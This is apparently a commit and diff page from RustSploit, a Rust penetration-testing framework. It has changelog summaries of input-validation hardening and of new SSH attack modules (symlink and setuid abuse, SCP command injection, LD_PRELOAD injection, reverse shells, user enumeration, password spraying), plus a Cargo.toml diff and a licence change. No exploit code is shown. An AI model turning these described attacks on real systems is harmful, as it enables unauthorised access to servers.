Blocking modules (POP3, SMTP): Use ThreadPool with crossbeam_channel - this is correct for blocking socket I/O

All modules now have consistent:

Real-time progress reporting (attempts/s rate)
Statistics summary at completion
Colored output for success/failure/errors



All fixed. The warnings are resolved:

enablebruteforce.rs - Removed unused std::process::Command import (no longer needed since we now use the libc syscalls directly)
ftp_bruteforce.rs - Removed unused log function (replaced with inline colored output)
fortinet_bruteforce.rs - Removed unused log function (replaced with inline colored output)


Standardized Features Added:

Scanner	Banner	Colored Output	Statistics	Progress	Save Results
sample_scanner.rs	 Added	 Added	 Added		 Added
http_title_scanner.rs	 Enhanced	 Enhanced	 Added	 Added	 Already had
http_method_scanner.rs	 Enhanced	 Enhanced	 Added	N/A	 Already had
dns_recursion.rs	 Added	 Enhanced	 Added	N/A	N/A (targets output)
ssdp_msearch.rs	 Added	 Already had	 Added	N/A	 Added
port_scanner.rs	 Already had	 Already had	 Already had	 Already had	 Already had
ping_sweep.rs	 Already had	 Already had	 Already had	 Already had	 Already had

Key Improvements:

Consistent Banners - All scanners now display a cyan-colored ASCII banner with module description
Colored Output - Success (green), warnings (yellow), errors (red), info (cyan)
Statistics - All scanners report:
Total items scanned
Successful/Failed counts
Duration
Rate (where applicable)
Save Results - Option to save scan results to file
Progress Reporting - Real-time progress for longer scans
All modules compile cleanly with no warnings.


Security Enhancements Summary

main.rs

Added validate_bind_address() - validates bind address format using SocketAddr::parse(), checks length limits, control characters
Added validate_api_key() - validates API key length (max 256 chars), ensures only printable ASCII
Added validate_ip_limit() - validates IP limit range (1-10,000)
All CLI inputs are now validated before use

shell.rs

Added new constants: MAX_URL_LENGTH, MAX_PATH_LENGTH, MAX_PROMPT_INPUT_LENGTH

Enhanced prompt_for_path():

Length validation
Control character rejection
Path traversal prevention (.. blocked)

Enhanced prompt_string_default():

Length validation
Control character rejection
URL format validation (if input looks like URL)

Enhanced prompt_yes_no():

Max attempt limiting (10 attempts)
Length validation
Enhanced prompt_u64() and prompt_usize():
Max attempt limiting
Length validation
Strict digit-only validation
Overflow protection with saturating_add()

config.rs

Added MAX_TARGET_LENGTH and MAX_HOSTNAME_LENGTH constants

Enhanced set_target():

Length validation
Control character rejection
Path traversal prevention

Added validate_hostname_or_ip():

Hostname length validation (DNS max 253)
Valid character regex check
Format validation (no leading/trailing special chars)
Consecutive dot detection

api.rs

Added RequestBodyLimitLayer (1MB max) to prevent DoS via large payloads
Added MAX_TRACKED_IPS (100,000) and MAX_AUTH_FAILURE_ENTRIES (100,000) limits

Enhanced track_ip():

IP string length validation
Automatic cleanup when tracker exceeds limits
saturating_add() for overflow protection

Enhanced record_auth_failure():

IP string length validation
Automatic cleanup of expired/old entries
saturating_add() for overflow protection
utils.rs (already well-secured)
Already had comprehensive validation:
MAX_TARGET_LENGTH, MAX_MODULE_PATH_LENGTH, MAX_FILE_SIZE
Path traversal checks
File size limits
Proxy URL validation


---

## v0.4.0 - Comprehensive Security Hardening (November 2025)

###  Input Validation & Security (All Core Files)

#### main.rs

- **NEW:** `validate_bind_address()` - Validates bind address format using `SocketAddr::parse()`:
  - Length limits (max 128 characters)
  - Control character rejection
  - Socket address format validation
- **NEW:** `validate_api_key()` - Validates API key:
  - Length limits (max 256 characters)
  - Only printable ASCII characters allowed
  - Empty/whitespace rejection
- **NEW:** `validate_ip_limit()` - Validates hardening IP limit:
  - Range validation (1-10,000)
  - Prevents resource exhaustion

#### shell.rs

- **NEW Constants:**
  - `MAX_URL_LENGTH` (2048) - URL input length limit
  - `MAX_PATH_LENGTH` (4096) - File path length limit
  - `MAX_PROMPT_INPUT_LENGTH` (1024) - General prompt input limit

- **Enhanced `prompt_for_path()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..` blocked)

- **Enhanced `prompt_string_default()`:**
  - Length validation
  - Control character rejection
  - Automatic URL format validation when input looks like URL

- **Enhanced `prompt_yes_no()`:**
  - Max attempt limiting (10 attempts before default)
  - Length validation (max 10 chars)
  - Prevents infinite loops on bad input

- **Enhanced `prompt_u64()` and `prompt_usize()`:**
  - Max attempt limiting (10 attempts)
  - Length validation (max 20 chars)
  - Strict digit-only validation
  - Overflow protection
  - Better error messages

#### config.rs

- **NEW Constants:**
  - `MAX_TARGET_LENGTH` (2048) - Target string limit
  - `MAX_HOSTNAME_LENGTH` (253) - DNS hostname limit

- **Enhanced `set_target()`:**
  - Length validation
  - Control character rejection
  - Path traversal prevention (`..`, `//` blocked)
  - Hostname/IP format validation

- **NEW:** `validate_hostname_or_ip()` - Validates hostname/IP:
  - Hostname length validation (DNS max 253)
  - Valid character regex check (`[a-zA-Z0-9.\-_:\[\]]+`)
  - Format validation (no leading/trailing special chars)
  - Consecutive dot detection

#### api.rs

- **NEW:** `RequestBodyLimitLayer` (1MB max) - Prevents DoS via large request bodies
- **NEW Constants:**
  - `MAX_REQUEST_BODY_SIZE` (1MB)
  - `MAX_TRACKED_IPS` (100,000)
  - `MAX_AUTH_FAILURE_ENTRIES` (100,000)

- **Enhanced `track_ip()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup when tracker exceeds limits
  - Prunes oldest entries, keeps most recent half
  - `saturating_add()` for overflow protection

- **Enhanced `record_auth_failure()`:**
  - IP string length validation (max 128 chars)
  - Automatic cleanup of expired blocks and old entries (>1 hour)
  - `saturating_add()` for overflow protection
  - Memory-efficient housekeeping

#### Cargo.toml

- Added `limit` feature to `tower-http` for request body limiting

###  Summary

All user-facing input paths now have:

-  Length limits to prevent memory exhaustion
-  Control character rejection
-  Path traversal prevention
-  Format validation where applicable
-  Overflow protection
-  Maximum attempt limits on prompts
-  Automatic resource cleanup in API


Documentation Updates Summary


README.md (Main README)


Highlights Section: Added security hardening to feature list, expanded credential modules to include SNMP, L2TP, Fortinet
Module Catalog: Updated with all new modules (Flowise RCE, HTTP/2 Rapid Reset, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed) and expanded scanner capabilities (SYN/ACK scans)
Security Features Section: Added new "Input Validation & Security" subsection documenting:
Request body limiting (1MB)
API key validation
Target validation
Module path sanitization
Resource limits with automatic cleanup
Enhanced rate limiting with auto-cleanup
Enhanced hardening mode with auto-pruning
docs/readme.md (Developer Guide)
Table of Contents: Added new "Security & Input Validation" section
Code Layout: Updated to include api.rs, config.rs, and telnet-default/ directory
NEW Section - Security & Input Validation: Comprehensive developer guide including:
Input validation constants table (all limits across files)

Security patterns with code examples:

Input length validation
Control character rejection
Path traversal prevention
Hostname/target validation
Overflow protection
Prompt attempt limiting
API security implementation details
File operations security guidelines
lists/readme.md (Data Files Catalog)
Available Files: Added telnet-default/ directory with its files (usernames.txt, passwords.txt, empty.txt)
Ideas Section: Added suggestions for SNMP, Fortinet, and SSH default credential lists
NEW Section - Security Notes: Guidelines for contributing wordlists:
No malicious payloads
File size limits
UTF-8 encoding requirements
Line format standards

changelog.md

NEW Section - v0.4.0: Complete documentation of all security enhancements:
main.rs validation functions
shell.rs prompt hardening
config.rs target validation
api.rs resource limits and cleanup
Cargo.toml changes

---

## v0.4.1 - SSHPWN Integration (November 2025)

###  New SSH Attack Modules

Integrated comprehensive SSH attack framework based on OpenSSH 10.0p1 vulnerability analysis.

#### SFTP Attack Module (`exploits/ssh/sshpwn_sftp_attacks`)

Based on sftp-server.c vulnerabilities:

- **Symlink Injection** (process_symlink) - Create symlinks to sensitive files, bypass chroot
- **Setuid Bit Attack** (process_setstat 07777) - Set setuid/setgid bits on uploaded files
- **Path Traversal** (process_open) - Escape chroot restrictions
- **Partial Write Race** (process_write) - Exploit write atomicity issues

#### SCP Attack Module (`exploits/ssh/sshpwn_scp_attacks`)

Based on scp.c vulnerabilities:

- **Path Traversal** (sink function) - Write outside target directory
- **Username Shell Injection** (okname) - Shell metacharacter injection
- **Brace Expansion DoS** (brace_expand) - Client-side memory exhaustion
- **Command Injection** (do_cmd) - Inject commands via arguments

#### Session Attack Module (`exploits/ssh/sshpwn_session`)

Based on session.c vulnerabilities:

- **Environment Variable Injection** (do_setup_env) - Inject LD_PRELOAD, PATH, etc.
- **Command Execution** - Execute commands on authenticated targets
- **Reverse Shell** - Multiple payload types (bash, python, nc, perl, php, ruby)
- **File Upload/Download** - SFTP-based file transfer

###  New SSH Scanner (`scanners/ssh_scanner`)

Network reconnaissance for SSH services:

- CIDR range support
- IPv4/IPv6 support  
- Banner grabbing
- Concurrent scanning (configurable threads)
- Results export

###  New SSH Credential Modules

#### SSH User Enumeration (`creds/generic/ssh_user_enum`)

Timing attack for user enumeration (CVE-2018-15473 style):

- Measures authentication response timing
- Compares against baseline for invalid users
- Configurable samples and threshold
- Wordlist support

#### SSH Password Spray (`creds/generic/ssh_spray`)

Spray single password across multiple targets:

- Avoids account lockouts
- CIDR range support
- Concurrent spraying
- Results export

###  Module Summary

| Module | Path | Type |
|--------|------|------|
| SFTP Attacks | `exploits/ssh/sshpwn_sftp_attacks` | Exploit |
| SCP Attacks | `exploits/ssh/sshpwn_scp_attacks` | Exploit |
| Session Attacks | `exploits/ssh/sshpwn_session` | Exploit |
| SSH Scanner | `scanners/ssh_scanner` | Scanner |
| SSH User Enum | `creds/generic/ssh_user_enum` | Credential |
| SSH Spray | `creds/generic/ssh_spray` | Credential |

All modules feature:
s
-  Colored output with status indicators
-  Interactive configuration prompts
-  Input validation
-  IPv4/IPv6 support
-  Results export capability



SSHPWN Integration Summary

New SSH Exploit Modules (src/modules/exploits/ssh/)

1. sshpwn_sftp_attacks.rs - SFTP Attacks

Based on sftp-server.c vulnerabilities:

Symlink Injection - Create symlinks to read sensitive files like /etc/passwd, /etc/shadow
Setuid Bit Attack - Set setuid/setgid bits on uploaded files (07777 mask vulnerability)
Path Traversal - Escape chroot restrictions via traversal paths
Partial Write Race - Exploit write atomicity issues

2. sshpwn_scp_attacks.rs - SCP Attacks

Based on scp.c vulnerabilities:

Path Traversal - Protocol injection, null byte injection, newline injection
Username Shell Injection - Exploit incomplete okname() filtering ($(), backticks, pipes)
Brace Expansion DoS - Client-side memory exhaustion via {a,b}^n patterns
Command Injection - ProxyCommand, rsync-path, ControlPath injection

3. sshpwn_session.rs - Session Attacks

Based on session.c vulnerabilities:

Environment Injection - LD_PRELOAD, LD_LIBRARY_PATH, PATH, BASH_ENV injection
Command Execution - Execute arbitrary commands
Reverse Shells - 8 payload types (bash, python, python3, nc, perl, php, ruby)
File Upload/Download - SFTP-based transfer
New SSH Scanner (src/modules/scanners/)

ssh_scanner.rs - SSH Service Scanner

CIDR range support (192.168.1.0/24)
IP range support (192.168.1.1-254)
IPv4/IPv6 support
Banner grabbing
Concurrent scanning with configurable threads
Results export to file
New SSH Credential Modules (src/modules/creds/generic/)

ssh_user_enum.rs - User Enumeration (Timing Attack)

CVE-2018-15473 style timing attack
Measures authentication response times
Compares against baseline timing
Configurable samples and threshold
Wordlist support

ssh_spray.rs - Password Spray

Spray single password across multiple targets/users
Avoids account lockouts
CIDR range support
Concurrent spraying
Results export
Module Access Paths
Module	Full Path	Short Name
SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks	sshpwn_sftp_attacks
SCP Attacks	exploits/ssh/sshpwn_scp_attacks	sshpwn_scp_attacks
Session Attacks	exploits/ssh/sshpwn_session	sshpwn_session
SSH Scanner	scanners/ssh_scanner	ssh_scanner
User Enumeration	creds/generic/ssh_user_enum	ssh_user_enum
Password Spray	creds/generic/ssh_spray	ssh_spray
All modules compile cleanly and follow the RustSploit patterns with colored output, interactive prompts, and input validation.


Summary of fixes:

Fixed format string error in sshpwn_scp_attacks.rs:227:
Rust doesn't support Python's {:,} format for thousands separators
Added a format_number() helper function that formats numbers with comma separators
Removed unused import in sshpwn_sftp_attacks.rs:15:
Changed use ssh2::{Session, Sftp} → use ssh2::Session
Fixed unused variable in sshpwn_scp_attacks.rs:176:
Changed port: u16 → _port: u16
Fixed unused variable in sshpwn_session.rs:94:
Changed timeout: u64 → _timeout: u64
Build result: Finished dev profile [unoptimized + debuginfo] target(s) in 24.64s with exit code 0 - no warnings or errors!

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Complete SSH Module Implementation

Module	Path	Attacks Implemented

SFTP Attacks	exploits/ssh/sshpwn_sftp_attacks.rs	Symlink injection, Setuid bit, Path traversal, Partial write
SCP Attacks	exploits/ssh/sshpwn_scp_attacks.rs	Path traversal, Username injection, Brace DoS, Command injection
Session Attacks	exploits/ssh/sshpwn_session.rs	Env injection, Command exec, Interactive shell, Reverse shell, Upload/Download
Auth Password	exploits/ssh/sshpwn_auth_passwd.rs	Password length DoS, Password change info leak, Auth timing attack, Bcrypt truncation
SSH Scanner	scanners/ssh_scanner.rs	CIDR scan, Banner grab, Concurrent scanning
SSH User Enum	creds/generic/ssh_user_enum.rs	Timing-based user enumeration
SSH Spray	creds/generic/ssh_spray.rs	Password spray across targets
SSH Bruteforce	creds/generic/ssh_bruteforce.rs	Credential bruteforce

New sshpwn_auth_passwd.rs Features:

Password Length DoS Test - Tests auth2-passwd.c's lack of explicit password length limit
Password Change Information Leak - Documents server fingerprinting via password change responses
Auth Timing Attack - User enumeration via mm_auth_password timing differences
Bcrypt 72-byte Truncation Test - Detects if server uses bcrypt's password truncation
Added Interactive Shell to sshpwn_session.rs:
Continuous command execution loop
Tracks current working directory
Built-in !upload and !download commands
exit/quit to disconnect

 Build Complete - All Warnings Fixed

SSH Modules Wired:

Exploit Modules (6):

Module	Description
sshpwn_auth_passwd	Auth password attacks (length DoS, timing, bcrypt truncation)
sshpwn_pam	PAM attacks (memory exhaustion, env injection, timing)
sshpwn_session	Session attacks (exec, revshell, interactive shell, upload/download)
sshpwn_scp_attacks	SCP attacks (traversal, username injection, brace DoS, cmd injection)
sshpwn_sftp_attacks	SFTP attacks (symlink, setuid, traversal, partial write)
opensshserver_9_8p1race_condition	Race condition exploit
Credential Modules (3):
Module	Description
ssh_bruteforce	SSH credential brute force
ssh_spray	SSH password spraying
ssh_user_enum	SSH user enumeration (timing attack)
Scanner Modules (1):
Module	Description
ssh_scanner	SSH service discovery and banner grabbing

Fixes Applied:

 Removed unused HashMap import from sshpwn_pam.rs
 Removed unused Read import from sshpwn_auth_passwd.rs
 Fixed unused port variable - now used in output
 Removed unused DEFAULT_TIMEOUT_SECS constant
 Removed unused prompt() function
 Removed unused PathBuf imports from generator files
 Added sshpwn_pam to mod.rs
2025-11-28 22:34:31 +02:00
S.B 66964ba639 Update readme.md 2025-11-28 22:31:14 +02:00
S.B cb3ad7c22d Update extra.txt 2025-11-28 22:30:34 +02:00
S.B 423b0e0838 Update Cargo.toml 2025-11-28 22:28:53 +02:00
S.B cb053d5be3 Update readme.md 2025-11-28 22:27:50 +02:00
S.B 39c8d8ccc8 Update README.md 2025-11-28 22:26:17 +02:00
S.B b2c85875fa Update changelog.md 2025-11-28 22:23:00 +02:00
S.B ee6d4e399e Add files via upload 2025-11-28 22:22:17 +02:00
S.B 8af6d45e32 Delete src directory 2025-11-28 22:19:19 +02:00
S.B a0c8c723dc Update changelog.md 2025-11-26 16:59:39 +02:00
S.B 97c366a846 Update Cargo.toml 2025-11-26 16:58:57 +02:00
S.B 7fc4148202 Add files via upload 2025-11-26 16:57:48 +02:00
S.B ab8256fc19 Delete src directory 2025-11-26 16:55:31 +02:00
S.B 3403cec7f9 Merge pull request #27 from s-b-repo/rust-2024-edition-migration
Rust 2024 edition migration
2025-11-26 16:48:21 +02:00
S.B 99e31b1c2f Update Cargo.toml 2025-11-24 15:03:07 +02:00
S.B c9e93614a4 Add files via upload 2025-11-24 14:59:46 +02:00
S.B 227dc38663 Delete preview.png 2025-11-24 14:59:29 +02:00
S.B b1ca5f1151 Add files via upload 2025-11-24 14:58:34 +02:00
S.B 6c153eee99 Delete src directory 2025-11-24 14:56:45 +02:00
S.B c9712dc4a9 Add files via upload 2025-11-24 14:53:44 +02:00
S.B be1c4158af Delete src directory 2025-11-24 14:52:09 +02:00
S.B 26913cdbf6 Merge pull request #26 from s-b-repo/beta-testing
Beta testing
2025-11-24 14:16:37 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
428 changed files with 137076 additions and 10454 deletions
-22
View File
@@ -1,22 +0,0 @@
name: Rust
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
env:
CARGO_TERM_COLOR: always
jobs:
build:
runs-on: Kali
steps:
- uses: actions/checkout@v4
- name: Build
run: cargo build --verbose
- name: Run tests
run: cargo test --verbose
+162 -115
View File
@@ -1,122 +1,169 @@
[package]
name = "rustsploit"
version = "0.2.0"
edition = "2021"
version = "0.4.9"
edition = "2024"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9"
# For CLI parsing
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0"
#teminal color
colored = "3.0"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.36", features = ["multithread"] }
#telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
walkdir = "2.5"
#ssh
ssh2 = "0.9"
# rstp brute forcing
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2"
futures = "0.3"
futures-util = "0.3"
#spotube exploit
serde_json = "1.0"
tokio-tungstenite = "0.26"
#zte rce
# Add these to [dependencies]
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5"
#avanti
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0"
# API server
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
# DNS tooling
trust-dns-client = { version = "0.23", features = ["dnssec"] }
trust-dns-proto = "0.23"
# Pin transitive dependencies to edition-2021-compatible releases
# (newer versions require unstable edition2024 feature)
home = "=0.5.11"
[build-dependencies]
regex = "1.11" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.1" # newer than 2.0
rand = "0.10"
rustyline = "18.0"
# CLI & Async runtime
clap = { version = "4.6", features = ["derive"] }
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.13", default-features = false, features = ["json", "cookies", "socks", "multipart", "form", "stream", "rustls-no-provider", "charset", "http2"] }
h2 = "0.4"
http = "1.4"
bytes = "1.11.1"
tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "logging", "tls12"] }
url = "2.5"
quick-xml = "0.39"
data-encoding = "2.10"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.8"
flate2 = "1.1"
base64 = "0.22"
# Networking & Protocols
socket2 = { version = "0.6", features = ["all"] }
pnet_packet = "0.35"
ipnetwork = "0.21"
regex = "1.12" # newest listed
which = "8.0"
# FTP
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
native-tls = "0.2"
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
rustls-pemfile = "2" # used by exploit/scanner modules
hyper = { version = "1", features = ["http1", "server"] }
hyper-util = { version = "0.1", features = ["tokio", "service"] }
# Telnet
crossbeam-channel = "0.5"
telnet = "0.2"
# SSH
libc = "0.2"
# Resource limits (safe wrapper for getrlimit/setrlimit)
rlimit = "0.11"
# Bluetooth
btleplug = { version = "0.12", optional = true }
# WPair migrated from ratatui+crossterm TUI to rustyline REPL — deps removed.
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.29"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = { version = "0.8", features = ["ws"] }
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
uuid = { version = "1.23", features = ["v4", "serde"] }
# DNS
hickory-client = { version = "0.25" }
hickory-proto = "0.25"
# Logging
tracing = "0.1"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
# Misc utilities
once_cell = "1.21"
home = "0.5" # updated for edition 2024 compatibility
pnet = "0.35"
des = { version = "0.8.1", features = ["zeroize"] }
zeroize = { version = "1", features = ["derive"] }
sha1 = "0.10"
strsim = "0.11"
ssh2 = "0.9.5"
num_cpus = "1.17.0"
# Constant-time comparison for security (timing attack prevention)
subtle = "2.6"
aes-gcm = "0.10.3"
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
ml-kem = "0.2.3"
kem = "=0.3.0-pre.0"
rand_core = { version = "0.6", features = ["getrandom"] }
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
chacha20poly1305 = "0.10"
hkdf = "0.12"
sha2 = "0.10"
hex = "0.4"
[build-dependencies]
regex = "1.12"
walkdir = "2.5"
# Dependency overrides to address security advisories in transitive dependencies
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
time = "0.3.47"
# (ratatui 0.29 transitive advisories cleared when the TUI was replaced with rustyline.)
# ============================================
# Development profile: Fast incremental builds
# ============================================
[profile.dev]
opt-level = 0 # No optimization for fastest compile
debug = true # Keep debug symbols
incremental = true # Enable incremental compilation
split-debuginfo = "unpacked" # Faster link times
# Optimize dependencies in dev mode (they don't change often)
[profile.dev.package."*"]
opt-level = 2 # Deps are optimized but your code isn't
# ============================================
# Release profile: Maximum performance
# ============================================
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
# ============================================
# Custom profile: Fast release builds for testing
# Usage: cargo build --profile fast-release
# ============================================
[profile.fast-release]
inherits = "release"
lto = "thin" # Faster than fat LTO
codegen-units = 4 # Parallel codegen
[features]
default = ["bluetooth"]
bluetooth = ["dep:btleplug"]
+670 -17
View File
@@ -1,21 +1,674 @@
MIT License
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (c) 2025 S.B
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
Preamble
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
